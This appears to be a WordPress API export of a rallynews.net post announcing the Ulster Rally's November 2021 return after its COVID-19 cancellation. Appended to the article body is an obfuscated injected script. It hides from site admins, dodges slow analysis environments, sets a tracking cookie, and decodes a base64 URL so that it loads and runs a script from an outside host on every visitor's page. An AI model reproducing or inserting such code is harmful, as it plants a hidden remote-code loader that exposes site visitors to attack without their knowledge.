Photo &#8211; Jacob Ebrey<\/figcaption><\/figure>\n<p>Northern Ireland Motor Club Ltd have announced that following a one-year hiatus, the Ulster Rally is set to return on the weekend of Friday 19th and Saturday 20th November.<\/p>\n<p>As with most outdoor sporting events last year, the 2020 instalment of the Tarmac classic had to be cancelled because of the COVID-19 health pandemic. But organisers are confident the roll-out of the vaccination programme against the respiratory disease, which is set to be largely completed by the end of this summer, will allow the Ulster Rally to be staged safely.<\/p>\n<p>\u201cDue to COVID-19 and the current restrictions, the preparations required for an August date could not be completed,\u201d explained Event Director, Richard Swanston. \u201cWe will continue to monitor the situation and tailor our plans to suit as we work towards the November date.\u201d<\/p>\n<p>On the issue of spectators being allowed to attend the closed-roads event, Swanston added: \u201cIf restrictions are such that the attendance of spectators would be illegal, and would pose a risk to the community we are operating in, then we\u2019ll review the viability closer to the time.<br \/>\n\u201cIn controlled areas such as service parks, again, restrictions at the time will dictate how we operate. It\u2019s very fluid at the moment but we have a date and we\u2019re working towards that.\u201d<br \/>\nThe 44th Ulster Rally will be run out of Newry in 2021, with further details concerning the stages, the event HQ and the service park all to be announced in due course by organisers.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Northern Ireland Motor Club Ltd have announced that following a one-year hiatus, the Ulster Rally is set to return on&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-6870","post","type-post","status-publish","format-standard","hentry","category-rallynews"],"_links":{"self":[{"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/posts\/6870","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/comments?post=6870"}],"version-history":[{"count":5,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/posts\/6870\/revisions"}],"predecessor-version":[{"id":8104,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/posts\/6870\/revisions\/8104"}],"wp:attachment":[{"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/media?parent=6870"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/categories?post=6870"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.rallynews.net\/pattersonpacenotes\/wordpress\/wp-json\/wp\/v2\/tags?post=6870"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
